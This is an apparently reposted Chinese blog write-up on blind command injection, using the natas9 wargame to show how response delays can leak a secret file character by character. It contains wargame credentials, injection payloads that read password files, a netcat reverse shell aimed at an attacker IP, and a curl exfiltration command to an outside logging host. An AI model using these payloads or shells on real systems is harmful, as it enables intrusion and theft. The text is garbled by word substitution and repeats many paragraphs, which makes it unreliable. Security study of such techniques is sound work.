基于时延的盲道研究:受限环境下的内容回传信道 – 互联网安全新媒体平台

*本文原创作者:yangyangwithgnu,本文属原创奖励计划,未经许可禁止转载

在一次破绽赏金活动中,挖到个敕令注入的洞,我先以时延作为证实向厂商提交该破绽,厂商以海内收集情况差为由(切实着实得翻墙)拒收,几回沟通,见告若我能取回指定文件 secret.txt 才认可。目标是个受限情况:禁止出口流量、NAT 映射大公网、无页面回显、无法预测 web 目录,换言之,没有出口流量无法反弹 shell、NAT 隔离也就不能建立正向 shell、页面无输出想看到敕令结果弗成能、找不到 web 目即便成功创建 webshell 没有容器能解析。我若何才能查看 secret.txt,顺利拿到赏金呢?(嗯,金额是敏感信息嘛5C7ZR2FOWDS35FZANBQXEZDTMVSWIIHFSCL67PE74W7IRZN7VPS25A7FWCDOLJEN422LX354QEFA====)

0×00 浅入深出

探究技巧问题,我习气拿大年夜家都能造访获得的情况作为例子,这样,一方面,你能经由过程操作来验证我的设法主见是否精确,另一方面,实践也能触发你对同个问题的不合思虑。因为保密协议的缘故原由,我没法对前面提到的真实案例作更多的细节描述,十分艰苦找到了一个情况类似的 wargame,与你分享。

http://natas9.natas.labs.overthewire.org,账号 natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl,供给源码,你得设法主见查看 /etc/natas_webpass/natas10 的内容:

敕令注入,我习气上先摸清办事端有哪些限定前提,是否限定内容长度、是否过滤特殊字符、是否过滤系统敕令、白名单照样黑名单、是否要闭合单/双引号、操作系统种别,这些信息对付构造载荷至关紧张。页面右下角给出了源码,难度低落了不少,但摸清限定前提,是你在其他黑盒测试场景中值得优先斟酌的。ok,现在查看源码:

敕令注入,我习气上先摸清办事端有哪些限定前提,是否限定内容长度、是否过滤特殊字符、是否过滤系统敕令、白名单照样黑名单、是否要闭合单/双引号、操作系统种别,这些信息对付构造载荷至关紧张。页面右下角给出了源码,难度低落了不少,但摸清限定前提,是你在其他黑盒测试场景中值得优先斟酌的。ok,现在查看源码:

从代码可知,办事端未作任何恶意输入反省,直接将输入 $key 作为 grep -i $key dictionary.txt 的敕令行参数通报给 passthru() 函数履行系统敕令。

从代码可知,办事端未作任何恶意输入反省,直接将输入 $key 作为 grep -i $key dictionary.txt 的敕令行参数通报给 passthru() 函数履行系统敕令。

显然,未过滤最基础的敕令调换符 $(),那么,提交 $(sleep 4),若应答延迟 4s 则可确认破绽存在。(关闭进击端收集带宽占用高的利用,避免影响结果)我先提交通俗字符串 xxxx,应答为:

页面无实际内容输出,耗时约 0.3s。接下来提交 xxxx%24%28sleep+4%29,应答如下:

页面无实际内容输出,耗时约 0.3s。接下来提交 xxxx%24%28sleep+4%29,应答如下:

耗时约 4.3s,那么,可确认该接口存在敕令注入破绽。此中,两点留意:一是,载荷直接写在 burp 拦截的数据包中,没有颠末浏览器 URL 编码,以是你到手动将字母和数字之外的字符按 URL 编码(burp 的 decoder 模块);二是,进击载荷只管即便包孕先前一样的通俗字符串,避免引起计时偏差。

耗时约 4.3s,那么,可确认该接口存在敕令注入破绽。此中,两点留意:一是,载荷直接写在 burp 拦截的数据包中,没有颠末浏览器 URL 编码,以是你到手动将字母和数字之外的字符按 URL 编码(burp 的 decoder 模块);二是,进击载荷只管即便包孕先前一样的通俗字符串,避免引起计时偏差。

要使用破绽获取 /etc/natas_webpass/natas10 内容,当前的代码情况为 grep -i $key dictionary.txt,首先出现的思路是,注入敕令分隔符以停止 grep -i,注入查看 natas10 内容的敕令,注释掉落余下的 dictionary.txt,这样,原始敕令行被分隔针言法精确的三部份。敕令分隔符用 ;,注释符号用 #。以是,构造如下载荷(黄色高亮)作为参数 key 的输入:

提交后可成功查看 natas10 内容 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu:

提交后可成功查看 natas10 内容 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu:

适当增添难度,假设办事端过滤了所有敕令分隔符(;|& 以及回车符),能否冲破?简单思虑后想到一种要领,代码情况中有 grep,它只要匹配上一个字符即可输出该字符所在行,那么,找个存在于 flag 中的随意率性字符,grep 就能输出完备的 flag。以是,构造如下载荷:

适当增添难度,假设办事端过滤了所有敕令分隔符(;|& 以及回车符),能否冲破?简单思虑后想到一种要领,代码情况中有 grep,它只要匹配上一个字符即可输出该字符所在行,那么,找个存在于 flag 中的随意率性字符,grep 就能输出完备的 flag。以是,构造如下载荷:

碰尝尝看,看下 a 是否在 flag 中:

碰尝尝看,看下 a 是否在 flag 中:

命运运限不错,同样成功拿到 flag。

命运运限不错,同样成功拿到 flag。

再增添下难度,假如无页面回显,还有伎俩拿到 flag 么?

0×01 老姿势玩不转

针对无页面回显的场景,我常用获取内容的要领有如下几种:第一种,写入或下载 webshell;第二种,用 nc、bash、python 或其他脚本说话反弹 shell;第三种,用 curl、wget 造访我自己的 VPS,将内容放入 URL 的路径中,查看收集造访日志即可获取内容,这也是你喜好的盲注。

第一种,写 webshell。先用 touch foo 确认 web 目录有无写权限:

查看文件列表:

查看文件列表:

显然,无写权限。这种要领行不通。

显然,无写权限。这种要领行不通。

第二种,反弹 shell。先确认下目标有无 nc,履行 which nc:

cool!立马在我的 VPS 上启监听 nc -nlvp 12312,目标上履行 nc 128.64.32.2 12312 -e /bin/sh,筹备收 shell:

cool!立马在我的 VPS 上启监听 nc -nlvp 12312,目标上履行 nc 128.64.32.2 12312 -e /bin/sh,筹备收 shell:

等了两分钟办事端还没应答,VPS 上也没收到任何连接。或许 nc 版本没对,考试测验 nc.traditional 128.64.32.2 12312 -e /bin/sh,现像相同。稀罕,莫非目标禁止出口流量!?赶快确认。目标上长 ping 自己的 VPS,再登录查看ICMP 实时日志:

等了两分钟办事端还没应答,VPS 上也没收到任何连接。或许 nc 版本没对,考试测验 nc.traditional 128.64.32.2 12312 -e /bin/sh,现像相同。稀罕,莫非目标禁止出口流量!?赶快确认。目标上长 ping 自己的 VPS,再登录查看ICMP 实时日志:

无任何 ping 记录,基础上可以揣摸该目标禁止出口流量。

无任何 ping 记录,基础上可以揣摸该目标禁止出口流量。

类似第二、三种要领,以收集哀求日志作为带外内容回传信道的老姿势,在当前场景中,已不再适用。

梳理下,现在的情况是目标禁止出口流量、页面无输出、web 目录无写权限,常见的破绽使用伎俩都掉效,独一剩下的时延伎俩,也只能用于确认破绽是否存在,无法带回我必要的内容。

等一下,为什么我断准时延不能作为传输内容的载体呢?

敕令注入,这类破绽切实着实认和使用是两个自力的环节,载荷的写法思路相似但技术又不合。比如,某个敕令注入破绽,页面无回显,只得盲注,在确认环节,你注入 ;sleep 4 履行后,若应答延时 4s,心中必起荡漾;在破绽使用环节,想取回 secret.txt,你会在 ceye.io 上申请个临时二级域名 foo.ceye.io,向目标注入 curl foo.ceye.io/$(cat secret.txt) 敕令,登录 ceye.io 查看 HTTP 造访日志,foo.ceye.io 的路径中便能看到完备secret.txt 内容。你看,确认环节我用的是时延技术,而使用环节又用到 HTTP 造访日志的伎俩。

时延,有可能带回内容吗?

0×02 本地探索

时延,接管端不是机械,而是人,感想熏染到时延则存在破绽、无则不存在,相称于返回的布尔值:

但注入的载荷没法用 if 语句,哪种要领可以调换 if 呢?前提运算符:

但注入的载荷没法用 if 语句,哪种要领可以调换 if 呢?前提运算符:

很遗憾,敕令行中不支持这种语法;&&、|| 这类短路运算符也能变向实现前提判断,但这又办事端过滤的重点。

很遗憾,敕令行中不支持这种语法;&&、|| 这类短路运算符也能变向实现前提判断,但这又办事端过滤的重点。

假如 sleep 的参数非数字有啥反映:

虽有报错输出但并无任何延迟,可以找种要领将我指定的字符转为数字,不满意的保留不做任何转换,那么,只要结果有延迟,就能阐明待猜解的字符即是我指定的字符。tr 是常用的字符转换敕令,a 是输入,x 是待转换字符,a 与 x 不匹配,无法转换,输出仍保留 a;而将输入改为x,那么输出则被转换为 4:

虽有报错输出但并无任何延迟,可以找种要领将我指定的字符转为数字,不满意的保留不做任何转换,那么,只要结果有延迟,就能阐明待猜解的字符即是我指定的字符。tr 是常用的字符转换敕令,a 是输入,x 是待转换字符,a 与 x 不匹配,无法转换,输出仍保留 a;而将输入改为x,那么输出则被转换为 4:

串起来,根据是否延迟,等同于构建出一套问询系统:

串起来,根据是否延迟,等同于构建出一套问询系统:

你看,我已经可以猜解出当前字符为 x 呢!

你看,我已经可以猜解出当前字符为 x 呢!

我们在敕令行中实验下:

此中,$() 为敕令调换符优先谋略。当预测为 a 时系统无延迟,预测为 x 时延迟 4s。

此中,$() 为敕令调换符优先谋略。当预测为 a 时系统无延迟,预测为 x 时延迟 4s。

假如输入是字符串而非单个字符呢?不难,cut 可以提取单个字符:

字符成百上千,上面的要领只用字母举例,若是数字,还能生效么?比如,待猜解的字符为 9,预测 0-8 时均要等待:

字符成百上千,上面的要领只用字母举例,若是数字,还能生效么?比如,待猜解的字符为 9,预测 0-8 时均要等待:

每次预测均有延迟,造成光阴挥霍,得优化。着实,猜数字更简单,sleep 的参数本该便是数字,延迟几秒便是几:

每次预测均有延迟,造成光阴挥霍,得优化。着实,猜数字更简单,sleep 的参数本该便是数字,延迟几秒便是几:

除了字母、数字,还有特殊字符(% @)、转义字符(\n \r \t)、以致中文(你好),假如把所有可能的字符放入字典,依次提交给 sleep 问询,那么效率肯定不高。以是,得继承优化,只猜解数字和字母的环境太抱负化了。等等等等,说到只含数字和字母,自然遐想到老同伙base64,包孕 [0-9a-zA-Z+/=] 共计 65 个字符,进一步,base32 也不错,包孕 [2-7A-Z=] 共计 33 个,更进一步,base16 也可以,包孕 [0-9A-F] 共 16 个。显然,单从字典规模来看,base16 最优,但遗憾的是大年夜部份系统默认并未安装 base16 和 base32。综合来看,base64 是最优选择。比如,中文 小同伙 经 base64 编码后为 5bCP5pyL5Y+LCg==:

除了字母、数字,还有特殊字符(% @)、转义字符(\n \r \t)、以致中文(你好),假如把所有可能的字符放入字典,依次提交给 sleep 问询,那么效率肯定不高。以是,得继承优化,只猜解数字和字母的环境太抱负化了。等等等等,说到只含数字和字母,自然遐想到老同伙base64,包孕 [0-9a-zA-Z+/=] 共计 65 个字符,进一步,base32 也不错,包孕 [2-7A-Z=] 共计 33 个,更进一步,base16 也可以,包孕 [0-9A-F] 共 16 个。显然,单从字典规模来看,base16 最优,但遗憾的是大年夜部份系统默认并未安装 base16 和 base32。综合来看,base64 是最优选择。比如,中文 小同伙 经 base64 编码后为 5bCP5pyL5Y+LCg==:

此中,base64 敕令输出默认按每行 76 个字符进行折行,用参数 -w0 取消该行径。

此中,base64 敕令输出默认按每行 76 个字符进行折行,用参数 -w0 取消该行径。

现在,我能把随意率性字符串转为只含字母和数字的新字符串,因为猜解字母和数字的要领不合,以是,还剩着末一个问题,若何区分待猜解的字符是字母照样数字?我的思路如下:

• 第一步,不管三七二十一,履行 sleep ?,将待猜解字符直接丢给 sleep,若有延迟则肯定为数字,延迟几秒则为几,若无延迟则可能为 0、字母、+、/、=;

• 第二步:履行 sleep $(echo ? | tr 0 4) 问询是否为 0,若延迟阐明是 0,否则可能为字母、+、/、=;

• 第三步,履行 sleep $(echo ? | tr a 4) 问询是否为 a,若延迟阐明是 a,否则可能其他字母、+、/、=

• 第四步,重复第三步即可猜解出。

察看下,第二、三步相同,以是,结论是:先当成数字给丢 sleep ?,若延迟则是几秒便是数字几;若无延迟则用字典 [0a-zA-Z+/=] 履行 sleep $(echo ? | tr §x§ 4) 暴破,此中,? 代表待猜解字符、§x§ 为罗列变量。

0×03 再次寻衅

好了,已经探索出用时延作为字符猜解的措施,前面的 wargame 在假定的受限情况下(禁止出口流量、页面无输出、web 目录无写权限),我们考试测验用时延作为传输内容的载体。

经由过程其他伎俩我们已经晓得 flag 为 U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK,并不包孕特殊字符,为了我们评论争论的主线清晰,暂不将其进行 base64 编码。ok,开始演出!

第一步,懂得正常造访耗时作为基准值。尽可能让进击端带宽余暇,提交通俗字符串 xxxx:

页面无实际内容输出,耗时约 0.3s。

页面无实际内容输出,耗时约 0.3s。

第二步,获取 /etc/natas_webpass/natas10 的内容长度。目标上履行 $(sleep $(cat /etc/natas_webpass/natas10 | wc -c)),等待时长即为 natas10 内容长度:

耗时 33.4s,抛去基准值,可推想出 natas10 内容长度大年夜概是 33,因为 cat 自动添加换行符,以是准确值应为 32。假如担心单次测试存在偏差,可以多试几回,取高概率值(非均值)。URL 编码后的载荷看起来不直接,你把光标移以前后稍作停顿,burp自动解码,这样是不是清晰多了。

耗时 33.4s,抛去基准值,可推想出 natas10 内容长度大年夜概是 33,因为 cat 自动添加换行符,以是准确值应为 32。假如担心单次测试存在偏差,可以多试几回,取高概率值(非均值)。URL 编码后的载荷看起来不直接,你把光标移以前后稍作停顿,burp自动解码,这样是不是清晰多了。

别的,natas10 内容并不太多,延迟 32s 还能吸收,假如是 1024s 呢?那就只能借助 cut 一一提取各位后猜解,你,应该明白我在说什么嘛。

第三步,猜解所稀有字字符。前面说过,猜解数字([1-9])和字母([0a-zA-Z+/=])采纳完全不合的伎俩,我先将字符串的中的每个字符当成数字,一一给丢 sleep ?,哪个字符有延迟则其必然长短零的某个数字,且延迟几秒便是数字几。

目标上履行 $(sleep $(cat /etc/natas_webpass/natas10 | cut -c1)) 猜解第一个字符,我要猜解 32 个字符,以是,将 cut -c§1§ 中的 -c 参数作为罗列变量、字典为 [1-32]:

我把并发数设为 64,十秒不到就暴破完了,要查看每次哀求的耗时,只需在 intruder attack 窗口中,勾选 columns – response completed 即可,按耗时降序排列:

我把并发数设为 64,十秒不到就暴破完了,要查看每次哀求的耗时,只需在 intruder attack 窗口中,勾选 columns – response completed 即可,按耗时降序排列:

此中,因为当前预测的是 [1-9] 的数字,收集偏差只可能大年夜于最小的 1s,以是耗时小于 1s 的可轻忽,大年夜于 1s 的就必然准确吗?收集耗时受诸多元素影响,单次结果不能代表真实环境,我得多次验证。以是,我选中耗时大年夜于 1s 的 15 笔记录,点击 requestitems again 再次批量提交哀求:

此中,因为当前预测的是 [1-9] 的数字,收集偏差只可能大年夜于最小的 1s,以是耗时小于 1s 的可轻忽,大年夜于 1s 的就必然准确吗?收集耗时受诸多元素影响,单次结果不能代表真实环境,我得多次验证。以是,我选中耗时大年夜于 1s 的 15 笔记录,点击 requestitems again 再次批量提交哀求:

此次只剩 6 条、第三次提交后变成 5 条、第四次 4 条、第五六七次的数量和耗时均与前次相同,稳定值可作为相信值:

此次只剩 6 条、第三次提交后变成 5 条、第四次 4 条、第五六七次的数量和耗时均与前次相同,稳定值可作为相信值:

由图可知,27 位的字符为数字 7、15 位 1、5 位 1、22 位 1,填入 32 位的 flag 中 ????1?????????1??????1???7?????。

由图可知,27 位的字符为数字 7、15 位 1、5 位 1、22 位 1,填入 32 位的 flag 中 ????1?????????1??????1???7?????。

第四步,猜解所有字母字符。说得不太严谨哈,应该是 [0a-zA-Z+/=]。目标上履行 $(sleep $(cat /etc/natas_webpass/natas10 | cut -c§1§ | tr §x§ 2)),此中,将 cut -c§1§ 中的 -c 参数作为罗列变量 1、字典为 [1-32] 剔出 27、15、5、22 之外的数字,将 tr §x§ 2 中的参数 §x§ 作为罗列变量 2、字典为 [0a-zA-Z+/=],两个罗列变量采纳 cluster bomb 要领组合暴破:

假如字典是继续数字,intruder 的 payload type 选 numbers 可以快速天生,但这里的罗列变量 1 的字典并非继续数字,而是从 [1-32] 中剔出 27、15、5、22,三十来个数字,咬咬牙手动输入也还能吸收,假如是三千个数字呢?得找个自动化的要领。近邻王姐都邑的python 肯定是选择之一,现在我们不是在评论争论敕令注入么,敕令行是我的首选,seq 1 32 > num.lst 再剔出那 4 个数字即可:

假如字典是继续数字,intruder 的 payload type 选 numbers 可以快速天生,但这里的罗列变量 1 的字典并非继续数字,而是从 [1-32] 中剔出 27、15、5、22,三十来个数字,咬咬牙手动输入也还能吸收,假如是三千个数字呢?得找个自动化的要领。近邻王姐都邑的python 肯定是选择之一,现在我们不是在评论争论敕令注入么,敕令行是我的首选,seq 1 32 > num.lst 再剔出那 4 个数字即可:

至于罗列变量 2 的字典就更简单了,直接从 burp 内置字典中选择 a-z、A-Z,再手工添加 0+=/ 四个字符即可:

至于罗列变量 2 的字典就更简单了,直接从 burp 内置字典中选择 a-z、A-Z,再手工添加 0+=/ 四个字符即可:

并发数设定为 32 后开始暴破,一分钟阁下完毕,从结果中发清楚明了大年夜量记录耗时高于 1s,理论上,基准值为 0.4s、载荷中设定延迟光阴为 2s,那么,所有记录不应该呈现 0.4s 和 2s 之外的值,但斟酌到收集偏差,以是,小于 2s 的记录可以安然轻忽,选中所有2s 以上的记录(约六十条),多次批量验证(继承轻忽新增 2s 以下的记录),直到稳定于 2s:

并发数设定为 32 后开始暴破,一分钟阁下完毕,从结果中发清楚明了大年夜量记录耗时高于 1s,理论上,基准值为 0.4s、载荷中设定延迟光阴为 2s,那么,所有记录不应该呈现 0.4s 和 2s 之外的值,但斟酌到收集偏差,以是,小于 2s 的记录可以安然轻忽,选中所有2s 以上的记录(约六十条),多次批量验证(继承轻忽新增 2s 以下的记录),直到稳定于 2s:

很酷是不是,第一行阐明 17 位是字母 U,第二行则是 28 位是 x,类似可得出其他位的字母猜解结果。

很酷是不是,第一行阐明 17 位是字母 U,第二行则是 28 位是 x,类似可得出其他位的字母猜解结果。

现在,汇总手上已有的信息,flag 统共 32 位,此中,27 位、15、5、22 位是数字,分手为 7、1、1、1,余下位均为字母,值为上图结果。稍加综合即可得出完备 flag 为 nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu。啊哈!!

0×04未完的终局

是,我成功造访到 secret.txt,顺利拿到了丰丰丰丰丰丰丰丰盛的赏金!你问我这个历程麻不麻烦?相称之麻烦,麻烦就停手了?冲破重重障碍完成义务的成绩感,远高于赏金带给我的乐趣,这才是真恰恰玩之处。

敕令盲注的破绽,大年夜家都觉得时延只能作为验证破绽是否存在的手段,无法成为内容回传的信道,着实,它可以!当然你也会纠结不论是这个赏金破绽照样前面举例的 wargame,并不是绝对的受限情况,没用过滤敕令调换符和管道符号、敕令必须顺序履行,以致,目标必须为 linux、取回的内容必须体积小巧,等等等等,你说的都没错,但信息安然的本色不便是找已有事务的非老例思维的缺陷吗,哪里会存在 all-in-one 的进击模型,触类旁推、随机应变。

还有些设法主见得继承思考、落地。比如,全部历程全手工操作(burp 已经尽力了)较为繁琐,不得当这类进击模型的推广,后续必须开拓脚本,以实现自动化、普适化的目的;再如,假如目标异步履行敕令,那我不得不探求其他普遍觉得只能做破绽确认、而深入探索有可能成为内容回传载体的机制(类似 ping)。

思绪赓续、未完待续!

*本文原创作者:yangyangwithgnu,本文属原创奖励计划,未经许可禁止转载

赞(0) 打赏
分享到: 更多 (0)
免责申明:本站所有资料均来自于网络,版权归原创者所有!本站不提供任何保证,不保证真实性,并不承担任何法律责任

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

阿里云优惠网 更专业 更优惠

阿里云优惠券阿里云大礼包